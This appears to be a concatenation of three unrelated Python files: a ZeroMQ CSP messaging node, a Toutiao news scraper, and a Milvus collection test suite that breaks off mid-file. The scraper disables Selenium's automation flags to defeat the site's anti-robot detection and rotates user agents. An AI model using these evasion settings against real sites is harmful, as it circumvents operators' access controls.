header)) def start(self): """ Starts the node by starting the reader and writer threads (if correspond). If you override this function, do not forget to call the parent method, otherwise these thread are not initialized. :return: None """ self._context = zmq.Context() if self.monitor: self._reader_th = self._reader(self.node, self.in_port, self.hub_ip, self._proto, self._context) if self.console: self._writer_th = self._writer(self.node, self.out_port, self.hub_ip, self._proto, self._context) def join(self): """ This function joins the reader and writer threads. Can be used in the main thread to continue the node work in background. :return: None """ if self.monitor: self._reader_th.join() if self.console: self._writer_th.join() def stop(self): self._run = False self._queue.put(("", "", "")) self.join() self._context.term() def get_parameters(): """ Parse command line parameters """ parser = argparse.ArgumentParser() parser.add_argument("-n", "--node", default=9, help="Node address") parser.add_argument("-d", "--ip", default="localhost", help="Hub IP address") parser.add_argument("-i", "--in_port", default="8001", help="Input port") parser.add_argument("-o", "--out_port", default="8002", help="Output port") parser.add_argument("-p", "--proto", default="tcp", help="Output port") parser.add_argument("--nr", action="store_false", help="Disable monitor task") parser.add_argument("--nw", action="store_false", help="Disable console task") return parser.parse_args() if __name__ == "__main__": # Get arguments args = get_parameters() print(args) prompt = "<node> <port> <message>: " node = CspZmqNode(int(args.node), args.ip, args.in_port, args.out_port, args.nr, args.nw, args.proto) node.read_message = lambda msg, hdr: print(msg, hdr) node.start() try: while True: dest, port, msg = input(prompt).split(" ", 2) hdr = CspHeader(src_node=int(args.node), dst_node=int(dest), dst_port=int(port)) node.send_message(msg, hdr) except KeyboardInterrupt: node.stop()
toutiao2.py
import requests from urllib.parse import urlencode, unquote, urljoin from fake_useragent import UserAgent import parsel from concurrent.futures import ThreadPoolExecutor from queue import Queue import csv import logging import threading from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.common.exceptions import TimeoutException # def get_proxy(): # return requests.get("http://127.0.0.1:5010/get/").json() def get_broswer() -> webdriver: global browser options = webdriver.ChromeOptions() # 处理证书错误 options.add_argument('--ignore-certificate-errors') # 修改windows.navigator.webdriver,防机器人识别机制,selenium自动登陆判别机制 options.add_experimental_option('excludeSwitches', ['enable-automation']) options.add_argument("--disable-blink-features=AutomationControlled") # 添加代理 # proxy = get_proxy().get("proxy") # options.add_argument('--proxy-server=http://' + proxy) browser = webdriver.Chrome(options=options) return browser # 获取browser browser = get_broswer() logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s: %(message)s') base_url = 'https://so.toutiao.com/' ua = UserAgent() filename = '头条新闻.csv' file = open(filename, 'w', encoding='utf8') writer = csv.writer(file) # print(type(ua.random)) # print(ua.random) headers = { 'User-Agent': None, 'Referer': 'https://so.toutiao.com/', } query = { 'dvpf': 'pc', 'page_num': '0', 'keyword': '208万日薪', 'pd': 'information', 'source': 'input', } search_url = 'https://so.toutiao.com/search?' + urlencode(query) detail_urls = Queue() page_urls = Queue() keyword = None def request_start_page_url(): query['keyword'] = keyword useragent = ua.random headers['User-Agent'] = useragent r = requests.get(search_url, headers=headers) html = r.text parse_links(html, search_url, useragent, r.cookies) def request_page_url(): print('进入request_page_url') print(page_urls.qsize()) while not page_urls.empty(): page_url, referer = page_urls.get() headers['Referer'] = referer useragent = ua.random headers['User-Agent'] = useragent logging.info(f'正在请求: {page_url}') r = requests.get(page_url, headers=headers) parse_links(r.text, page_url, useragent, r.cookies) page_urls.task_done() def parse_links(html, url, useragent, cookies): sel = parsel.Selector(html) hrefs = sel.css('.text-xl>a::attr(href)').re(r'url=(.*)') # 注意该url已被加密 print("文章链接: ", [unquote(href) for href in hrefs]) for href in hrefs: item = (unquote(href), url, useragent, cookies) logging.info('添加detail_urls中: (%s, %s, %s, %s)' % item) detail_urls.put_nowait(item) # 获取下一页的url,次url从/search开始 next_page = sel.xpath('//a[contains(.,"下一页")]/@href').get() # 下一页的链接 print('下一页的链接', next_page) if next_page: item2 = (urljoin(base_url, next_page), url) logging.info('添加page_urls中: (%s, %s)' % item2) page_urls.put_nowait(item2) print('开始请求时刚放入队列中') print(page_urls.qsize()) print(detail_urls.qsize()) def request_article_url(): print('进入request_article_url') print(f'detail_urls的大小 {detail_urls.qsize()}') while not detail_urls.empty(): detail_url, referer, useragent, cookies = detail_urls.get() # headers['Referer'] = referer # headers['User-Agent'] = useragent # logging.info(f'请求文章{detail_url}') # r = requests.get(detail_url, headers=headers, cookies=cookies) # parse_article(r.text) # 利用selenium抓取 logging.info(f'请求文章{detail_url}') browser.get(detail_url) wait = WebDriverWait(browser, 20) try: wait.until(EC.presence_of_element_located((By.XPATH, '//article'))) html = browser.page_source if 'error' in html: put_back(detail_url, referer, useragent, cookies) detail_urls.task_done() continue parse_article(html) except TimeoutException as e: logging.error(e) put_back(detail_url, referer, useragent, cookies) detail_urls.task_done() def put_back(detail_url, referer, useragent, cookies): get_broswer() # 放回原队列 detail_urls.put_nowait((detail_url, referer, useragent, cookies)) def parse_article(html): sel = parsel.Selector(html) title = sel.css('h1::text').get() article = sel.xpath('//article//text()').extract() article = ''.join(article) row = [title, article] print(f'保存当清数据{row}') writer.writerow(row) def process_thread(t): # 设置守护进程 t.daemon = True t.start() def main(): global keyword keyword = '208万日薪' # 起始爬取 request_start_page_url() request_page_url_thread = threading.Thread(target=request_page_url) request_detail_url = threading.Thread(target=request_article_url) with ThreadPoolExecutor(3) as pool: pool.map(process_thread, [request_page_url_thread, request_detail_url]) page_urls.join() detail_urls.join() file.close() if __name__ == '__main__': main()
test_collection.py
from functools import reduce import numpy import pandas as pd import pytest from base.client_base import TestcaseBase from common import common_func as cf from common import common_type as ct from common.common_type import CaseLabel, CheckTasks from utils.util_pymilvus import * from utils.util_log import test_log as log prefix = "collection" exp_name = "name" exp_schema = "schema" exp_num = "num_entities" exp_primary = "primary" exp_shards_num = "shards_num" default_schema = cf.gen_default_collection_schema() default_binary_schema = cf.gen_default_binary_collection_schema() default_shards_num = 2 uid_count = "collection_count" tag = "collection_count_tag" uid_stats = "get_collection_stats" uid_create = "create_collection" uid_describe = "describe_collection" uid_drop = "drop_collection" uid_has = "has_collection" uid_list = "list_collections" uid_load = "load_collection" field_name = default_float_vec_field_name default_single_query = { "data": gen_vectors(1, default_dim), "anns_field": default_float_vec_field_name, "param": {"metric_type": "L2", "params": {"nprobe": 10}}, "limit": default_top_k, } default_index_params = {"index_type": "IVF_SQ8", "metric_type": "L2", "params": {"nlist": 64}} default_binary_index_params = {"index_type": "BIN_IVF_FLAT", "metric_type": "JACCARD", "params": {"nlist": 64}} default_nq = ct.default_nq default_search_exp = "int64 >= 0" default_limit = ct.default_limit vectors = [[random.random() for _ in range(default_dim)] for _ in range(default_nq)] default_search_field = ct.default_float_vec_field_name default_search_params = {"metric_type": "L2", "params": {"nprobe": 10}} class TestCollectionParams(TestcaseBase): """ Test case of collection interface """ @pytest.fixture(scope="function", params=ct.get_invalid_strs) def get_none_removed_invalid_strings(self, request): if request.param is None: pytest.skip("None schema is valid") yield request.param @pytest.fixture(scope="function", params=ct.get_invalid_strs) def get_invalid_type_fields(self, request): if isinstance(request.param, list): pytest.skip("list is valid fields") yield request.param @pytest.fixture(scope="function", params=cf.gen_all_type_fields()) def get_unsupported_primary_field(self, request): if request.param.dtype == DataType.INT64: pytest.skip("int64 type is valid primary key") yield request.param @pytest.fixture(scope="function", params=ct.get_invalid_strs) def get_invalid_dim(self, request): if request.param == 1: pytest.skip("1 is valid dim") yield request.param @pytest.mark.tags(CaseLabel.L0) def test_collection(self): """ target: test collection with default schema method: create collection with default schema expected: assert collection property """ self._connect() c_name = cf.gen_unique_str(prefix) self.collection_wrap.init_collection(c_name, schema=default_schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema, exp_num: 0, exp_primary: ct.default_int64_field_name}) assert c_name in self.utility_wrap.list_collections()[0] @pytest.mark.tags(CaseLabel.L2) def test_collection_empty_name(self): """ target: test collection with empty name method: create collection with an empty name expected: raise exception """ self._connect() c_name = "" error = {ct.err_code: -1, ct.err_msg: f'`collection_name` value is illegal'} self.collection_wrap.init_collection(c_name, schema=default_schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("name", [[], 1, [1, "2", 3], (1,), {1: 1}, None]) def test_collection_illegal_name(self, name): """ target: test collection with illegal name method: create collection with illegal name expected: raise exception """ self._connect() error = {ct.err_code: -1, ct.err_msg: "`collection_name` value {} is illegal".format(name)} self.collection_wrap.init_collection(name, schema=default_schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("name", ["12-s", "12 s", "(mn)", "中文", "%$#", "a".join("a" for i in range(256))]) def test_collection_invalid_name(self, name): """ target: test collection with invalid name method: create collection with invalid name expected: raise exception """ self._connect() error = {ct.err_code: 1, ct.err_msg: "Invalid collection name: {}".format(name)} self.collection_wrap.init_collection(name, schema=default_schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L0) def test_collection_dup_name(self): """ target: test collection with dup name method: create collection with dup name and none schema and data expected: collection properties consistent """ self._connect() c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) self.collection_wrap.init_collection(collection_w.name) assert collection_w.name == self.collection_wrap.name assert collection_w.schema == self.collection_wrap.schema assert collection_w.num_entities == self.collection_wrap.num_entities assert collection_w.name in self.utility_wrap.list_collections()[0] @pytest.mark.tags(CaseLabel.L2) def test_collection_dup_name_with_desc(self): """ target: test collection with dup name method: 1. default schema with desc 2. dup name collection expected: desc consistent """ self._connect() c_name = cf.gen_unique_str(prefix) schema = cf.gen_default_collection_schema(description=ct.collection_desc) collection_w = self.init_collection_wrap(name=c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) self.collection_wrap.init_collection(c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) assert collection_w.description == self.collection_wrap.description @pytest.mark.tags(CaseLabel.L1) def test_collection_dup_name_new_schema(self): """ target: test collection with dup name and new schema method: 1.create collection with default schema 2. collection with dup name and new schema expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) self.init_collection_wrap(name=c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) fields = [cf.gen_int64_field(is_primary=True)] schema = cf.gen_collection_schema(fields=fields) error = {ct.err_code: 0, ct.err_msg: "The collection already exist, but the schema is not the same as the " "schema passed in."} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_dup_name_new_primary(self): """ target: test collection with dup name and new primary_field schema method: 1.collection with default schema 2. collection with same fields and new primary_field schema expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) int_field_one = cf.gen_int64_field() int_field_two = cf.gen_int64_field(name="int2") fields = [int_field_one, int_field_two, cf.gen_float_vec_field()] schema = cf.gen_collection_schema(fields, primary_field=int_field_one.name) collection_w = self.init_collection_wrap(name=c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema, exp_primary: int_field_one.name}) new_schema = cf.gen_collection_schema(fields, primary_field=int_field_two.name) error = {ct.err_code: 0, ct.err_msg: "The collection already exist, but the schema is not the same as the " "schema passed in."} self.collection_wrap.init_collection(c_name, schema=new_schema, check_task=CheckTasks.err_res, check_items=error) assert collection_w.primary_field.name == int_field_one.name @pytest.mark.tags(CaseLabel.L1) def test_collection_dup_name_new_dim(self): """ target: test collection with dup name and new dim schema method: 1. default schema 2. schema with new dim expected: raise exception """ self._connect() new_dim = 120 c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) schema = cf.gen_default_collection_schema() new_fields = cf.gen_float_vec_field(dim=new_dim) schema.fields[-1] = new_fields error = {ct.err_code: 0, ct.err_msg: "The collection already exist, but the schema is not the same as the " "schema passed in."} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) dim = collection_w.schema.fields[-1].params['dim'] assert dim == ct.default_dim @pytest.mark.tags(CaseLabel.L2) def test_collection_dup_name_invalid_schema_type(self, get_none_removed_invalid_strings): """ target: test collection with dup name and invalid schema method: 1. default schema 2. invalid schema expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) error = {ct.err_code: 0, ct.err_msg: "Schema type must be schema.CollectionSchema"} schema = get_none_removed_invalid_strings self.collection_wrap.init_collection(collection_w.name, schema=schema, check_task=CheckTasks.err_res, check_items=error) assert collection_w.name == c_name @pytest.mark.tags(CaseLabel.L1) def test_collection_dup_name_same_schema(self): """ target: test collection with dup name and same schema method: dup name and same schema expected: two collection object is available """ self._connect() c_name = cf.gen_unique_str(prefix) collection_w = self.init_collection_wrap(name=c_name, schema=default_schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) self.collection_wrap.init_collection(name=c_name, schema=default_schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: default_schema}) assert collection_w.name == self.collection_wrap.name @pytest.mark.tags(CaseLabel.L2) def test_collection_none_schema(self): """ target: test collection with none schema method: create collection with none schema expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) error = {ct.err_code: 0, ct.err_msg: "Should be passed into the schema"} self.collection_wrap.init_collection(c_name, schema=None, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_invalid_type_schema(self, get_none_removed_invalid_strings): """ target: test collection with invalid schema method: create collection with non-CollectionSchema type schema expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) error = {ct.err_code: 0, ct.err_msg: "Schema type must be schema.CollectionSchema"} self.collection_wrap.init_collection(c_name, schema=get_none_removed_invalid_strings, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_invalid_type_fields(self, get_invalid_type_fields): """ target: test collection with invalid fields type, non-list method: create collection schema with non-list invalid fields expected: exception """ self._connect() fields = get_invalid_type_fields error = {ct.err_code: 0, ct.err_msg: "The fields of schema must be type list"} self.collection_schema_wrap.init_collection_schema(fields=fields, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_with_unknown_type(self): """ target: test collection with unknown type method: create with DataType.UNKNOWN expected: raise exception """ self._connect() error = {ct.err_code: 0, ct.err_msg: "Field dtype must be of DataType"} self.field_schema_wrap.init_field_schema(name="unknown", dtype=DataType.UNKNOWN, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.xfail(reason="exception not Milvus Exception") @pytest.mark.parametrize("name", [[], 1, (1,), {1: 1}, "12-s"]) def test_collection_invalid_type_field(self, name): """ target: test collection with invalid field name method: invalid string name expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) field, _ = self.field_schema_wrap.init_field_schema(name=name, dtype=5, is_primary=True) vec_field = cf.gen_float_vec_field() schema = cf.gen_collection_schema(fields=[field, vec_field]) error = {ct.err_code: 1, ct.err_msg: "expected one of: bytes, unicode"} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("name", ["12-s", "12 s", "(mn)", "中文", "%$#", "a".join("a" for i in range(256))]) def test_collection_invalid_field_name(self, name): """ target: test collection with invalid field name method: invalid string name expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) field, _ = self.field_schema_wrap.init_field_schema(name=name, dtype=DataType.INT64, is_primary=True) vec_field = cf.gen_float_vec_field() schema = cf.gen_collection_schema(fields=[field, vec_field]) error = {ct.err_code: 1, ct.err_msg: "Invalid field name"} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_none_field_name(self): """ target: test field schema with None name method: None field name expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) field, _ = self.field_schema_wrap.init_field_schema(name=None, dtype=DataType.INT64, is_primary=True) schema = cf.gen_collection_schema(fields=[field, cf.gen_float_vec_field()]) error = {ct.err_code: 1, ct.err_msg: "You should specify the name of field"} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("dtype", [6, [[]], {}, (), "", "a"]) def test_collection_invalid_field_type(self, dtype): """ target: test collection with invalid field type method: invalid DataType expected: raise exception """ self._connect() error = {ct.err_code: 0, ct.err_msg: "Field dtype must be of DataType"} self.field_schema_wrap.init_field_schema(name="test", dtype=dtype, is_primary=True, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_field_dtype_float_value(self): """ target: test collection with float type method: create field with float type expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) field, _ = self.field_schema_wrap.init_field_schema(name=ct.default_int64_field_name, dtype=5.0, is_primary=True) schema = cf.gen_collection_schema(fields=[field, cf.gen_float_vec_field()]) error = {ct.err_code: 0, ct.err_msg: "Field type must be of DataType!"} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_empty_fields(self): """ target: test collection with empty fields method: create collection with fields = [] expected: exception """ self._connect() error = {ct.err_code: 0, ct.err_msg: "Primary field must in dataframe."} self.collection_schema_wrap.init_collection_schema(fields=[], primary_field=ct.default_int64_field_name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_collection_dup_field(self): """ target: test collection with dup field name method: Two FieldSchema have same name expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) field_one = cf.gen_int64_field(is_primary=True) field_two = cf.gen_int64_field() schema = cf.gen_collection_schema(fields=[field_one, field_two, cf.gen_float_vec_field()]) error = {ct.err_code: 1, ct.err_msg: "duplicated field name"} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) assert not self.utility_wrap.has_collection(c_name)[0] @pytest.mark.tags(CaseLabel.L0) @pytest.mark.parametrize("field", [cf.gen_float_vec_field(), cf.gen_binary_vec_field()]) def test_collection_only_vector_field(self, field): """ target: test collection just with vec field method: create with float-vec fields expected: raise exception """ self._connect() error = {ct.err_code: 0, ct.err_msg: "Primary field must in dataframe"} self.collection_schema_wrap.init_collection_schema([field], check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_multi_float_vectors(self): """ target: test collection with multi float vectors method: create collection with two float-vec fields expected: raise exception (not supported yet) """ # 1. connect self._connect() # 2. create collection with multiple vectors c_name = cf.gen_unique_str(prefix) fields = [cf.gen_int64_field(is_primary=True), cf.gen_float_field(), cf.gen_float_vec_field(dim=default_dim), cf.gen_float_vec_field(name="tmp", dim=default_dim)] schema = cf.gen_collection_schema(fields=fields) err_msg = "multiple vector fields is not supported" self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items={"err_code": 1, "err_msg": err_msg}) @pytest.mark.tags(CaseLabel.L1) @pytest.mark.skip("https://github.com/milvus-io/milvus/issues/12680") def test_collection_mix_vectors(self): """ target: test collection with mix vectors method: create with float and binary vec expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) fields = [cf.gen_int64_field(is_primary=True), cf.gen_float_vec_field(), cf.gen_binary_vec_field()] schema = cf.gen_collection_schema(fields=fields, auto_id=True) self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) @pytest.mark.tags(CaseLabel.L0) def test_collection_without_vectors(self): """ target: test collection without vectors method: create collection only with int field expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) schema = cf.gen_collection_schema([cf.gen_int64_field(is_primary=True)]) error = {ct.err_code: 0, ct.err_msg: "No vector field is found."} self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_collection_without_primary_field(self): """ target: test collection without primary field method: no primary field specified in collection schema and fields expected: raise exception """ self._connect() int_fields, _ = self.field_schema_wrap.init_field_schema(name=ct.default_int64_field_name, dtype=DataType.INT64) vec_fields, _ = self.field_schema_wrap.init_field_schema(name=ct.default_float_vec_field_name, dtype=DataType.FLOAT_VECTOR, dim=ct.default_dim) error = {ct.err_code: 0, ct.err_msg: "Primary field must in dataframe."} self.collection_schema_wrap.init_collection_schema([int_fields, vec_fields], check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_is_primary_false(self): """ target: test collection with all is_primary false method: set all fields if_primary false expected: raise exception """ self._connect() fields = [cf.gen_int64_field(is_primary=False), cf.gen_float_field(is_primary=False), cf.gen_float_vec_field(is_primary=False)] error = {ct.err_code: 0, ct.err_msg: "Primary field must in dataframe."} self.collection_schema_wrap.init_collection_schema(fields, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("is_primary", ct.get_invalid_strs) def test_collection_invalid_is_primary(self, is_primary): """ target: test collection with invalid primary method: define field with is_primary=non-bool expected: raise exception """ self._connect() name = cf.gen_unique_str(prefix) error = {ct.err_code: 0, ct.err_msg: "Param is_primary must be bool type"} self.field_schema_wrap.init_field_schema(name=name, dtype=DataType.INT64, is_primary=is_primary, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("primary_field", ["12-s", "12 s", "(mn)", "中文", "%$#", "a".join("a" for i in range(256))]) def test_collection_invalid_primary_field(self, primary_field): """ target: test collection with invalid primary_field method: specify invalid string primary_field in collection schema expected: raise exception """ self._connect() fields = [cf.gen_int64_field(), cf.gen_float_vec_field()] error = {ct.err_code: 0, ct.err_msg: "Primary field must in dataframe."} self.collection_schema_wrap.init_collection_schema(fields=fields, primary_field=primary_field, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("primary_field", [[], 1, [1, "2", 3], (1,), {1: 1}, None]) def test_collection_non_string_primary_field(self, primary_field): """ target: test collection with non-string primary_field method: primary_field type is not string expected: raise exception """ self._connect() fields = [cf.gen_int64_field(), cf.gen_float_vec_field()] error = {ct.err_code: 0, ct.err_msg: "Primary field must in dataframe."} self.collection_schema_wrap.init_collection_schema(fields, primary_field=primary_field, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_not_existed_primary_field(self): """ target: test collection with not exist primary field method: specify not existed field as primary_field expected: raise exception """ self._connect() fake_field = cf.gen_unique_str() fields = [cf.gen_int64_field(), cf.gen_float_vec_field()] error = {ct.err_code: 0, ct.err_msg: "Primary field must in dataframe."} self.collection_schema_wrap.init_collection_schema(fields, primary_field=fake_field, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L0) def test_collection_primary_in_schema(self): """ target: test collection with primary field method: specify primary field in CollectionSchema expected: collection.primary_field """ self._connect() c_name = cf.gen_unique_str(prefix) schema = cf.gen_default_collection_schema(primary_field=ct.default_int64_field_name) self.collection_wrap.init_collection(c_name, schema=schema) assert self.collection_wrap.primary_field.name == ct.default_int64_field_name @pytest.mark.tags(CaseLabel.L0) def test_collection_primary_in_field(self): """ target: test collection with primary field method: specify primary field in FieldSchema expected: collection.primary_field """ self._connect() fields = [cf.gen_int64_field(is_primary=True), cf.gen_float_field(), cf.gen_float_vec_field()] schema, _ = self.collection_schema_wrap.init_collection_schema(fields) self.collection_wrap.init_collection(cf.gen_unique_str(prefix), schema=schema) assert self.collection_wrap.primary_field.name == ct.default_int64_field_name @pytest.mark.tags(CaseLabel.L2) @pytest.mark.xfail(reason="exception not Milvus Exception") def test_collection_unsupported_primary_field(self, get_unsupported_primary_field): """ target: test collection with unsupported primary field type method: specify non-int64 as primary field expected: raise exception """ self._connect() field = get_unsupported_primary_field vec_field = cf.gen_float_vec_field(name="vec") error = {ct.err_code: 1, ct.err_msg: "Primary key type must be DataType.INT64."} self.collection_schema_wrap.init_collection_schema(fields=[field, vec_field], primary_field=field.name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_collection_multi_primary_fields(self): """ target: test collection with multi primary method: collection with two primary fields expected: raise exception """ self._connect() int_field_one = cf.gen_int64_field(is_primary=True) int_field_two = cf.gen_int64_field(name="int2", is_primary=True) error = {ct.err_code: 0, ct.err_msg: "Primary key field can only be one."} self.collection_schema_wrap.init_collection_schema( fields=[int_field_one, int_field_two, cf.gen_float_vec_field()], check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_primary_inconsistent(self): """ target: test collection with different primary field setting method: 1. set A field is_primary 2. set primary_field is B expected: raise exception """ self._connect() int_field_one = cf.gen_int64_field(is_primary=True) int_field_two = cf.gen_int64_field(name="int2") fields = [int_field_one, int_field_two, cf.gen_float_vec_field()] error = {ct.err_code: 0, ct.err_msg: "Primary key field can only be one"} self.collection_schema_wrap.init_collection_schema(fields, primary_field=int_field_two.name, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L1) def test_collection_primary_consistent(self): """ target: test collection with both collection schema and field schema method: 1. set A field is_primary 2.set primary_field is A expected: verify primary field """ self._connect() c_name = cf.gen_unique_str(prefix) int_field_one = cf.gen_int64_field(is_primary=True) schema = cf.gen_collection_schema(fields=[int_field_one, cf.gen_float_vec_field()], primary_field=int_field_one.name) self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) @pytest.mark.tags(CaseLabel.L0) @pytest.mark.parametrize("auto_id", [True, False]) def test_collection_auto_id_in_field_schema(self, auto_id): """ target: test collection with auto_id in field schema method: specify auto_id True in field schema expected: verify schema's auto_id """ self._connect() c_name = cf.gen_unique_str(prefix) int_field = cf.gen_int64_field(is_primary=True, auto_id=auto_id) vec_field = cf.gen_float_vec_field(name='vec') schema, _ = self.collection_schema_wrap.init_collection_schema([int_field, vec_field]) assert schema.auto_id == auto_id self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) @pytest.mark.tags(CaseLabel.L0) @pytest.mark.parametrize("auto_id", [True, False]) def test_collection_auto_id_in_collection_schema(self, auto_id): """ target: test collection with auto_id in collection schema method: specify auto_id True in collection schema expected: verify schema auto_id and collection schema """ self._connect() c_name = cf.gen_unique_str(prefix) int_field = cf.gen_int64_field(is_primary=True) vec_field = cf.gen_float_vec_field(name='vec') schema, _ = self.collection_schema_wrap.init_collection_schema([int_field, vec_field], auto_id=auto_id) assert schema.auto_id == auto_id self.collection_wrap.init_collection(c_name, schema=schema, check_task=CheckTasks.check_collection_property, check_items={exp_name: c_name, exp_schema: schema}) @pytest.mark.tags(CaseLabel.L2) def test_collection_auto_id_non_primary_field(self): """ target: test collection set auto_id in non-primary field method: set auto_id=True in non-primary field expected: raise exception """ self._connect() error = {ct.err_code: 0, ct.err_msg: "auto_id can only be specified on the primary key field"} self.field_schema_wrap.init_field_schema(name=ct.default_int64_field_name, dtype=DataType.INT64, auto_id=True, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) def test_collection_auto_id_false_non_primary(self): """ target: test collection set auto_id in non-primary field method: set auto_id=True in non-primary field expected: verify schema auto_id is False """ self._connect() int_field_one = cf.gen_int64_field(is_primary=True) int_field_two = cf.gen_int64_field(name='int2', auto_id=False) fields = [int_field_one, int_field_two, cf.gen_float_vec_field()] schema, _ = self.collection_schema_wrap.init_collection_schema(fields) assert not schema.auto_id @pytest.mark.tags(CaseLabel.L2) def test_collection_auto_id_inconsistent(self): """ target: test collection auto_id with both collection schema and field schema method: 1.set primary field auto_id=True in field schema 2.set auto_id=False in collection schema expected: raise exception """ self._connect() int_field = cf.gen_int64_field(is_primary=True, auto_id=True) vec_field = cf.gen_float_vec_field(name='vec') error = {ct.err_code: 0, ct.err_msg: "The auto_id of the collection is inconsistent with " "the auto_id of the primary key field"} self.collection_schema_wrap.init_collection_schema([int_field, vec_field], auto_id=False, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("auto_id", [True, False]) def test_collection_auto_id_consistent(self, auto_id): """ target: test collection auto_id with both collection schema and field schema method: set auto_id=True/False both field and schema expected: verify auto_id """ self._connect() int_field = cf.gen_int64_field(is_primary=True, auto_id=auto_id) vec_field = cf.gen_float_vec_field(name='vec') schema, _ = self.collection_schema_wrap.init_collection_schema([int_field, vec_field], auto_id=auto_id) assert schema.auto_id == auto_id @pytest.mark.tags(CaseLabel.L2) def test_collection_auto_id_none_in_field(self): """ target: test collection with auto_id is None method: set auto_id=None expected: raise exception """ self._connect() error = {ct.err_code: 0, ct.err_msg: "Param auto_id must be bool type"} self.field_schema_wrap.init_field_schema(name=ct.default_int64_field_name, dtype=DataType.INT64, is_primary=True, auto_id=None, check_task=CheckTasks.err_res, check_items=error) @pytest.mark.tags(CaseLabel.L2) @pytest.mark.parametrize("auto_id", ct.get_invalid_strs) def test_collection_invalid_auto_id(self, auto_id): """ target: test collection with invalid auto_id method: define field with auto_id=non-bool expected: raise exception """ self._connect() int_field = cf.gen_int64_field(is_primary=True) vec_field = cf.gen_float_vec_field(name='vec') error = {ct.err_code: 0, ct.err_msg: "Param 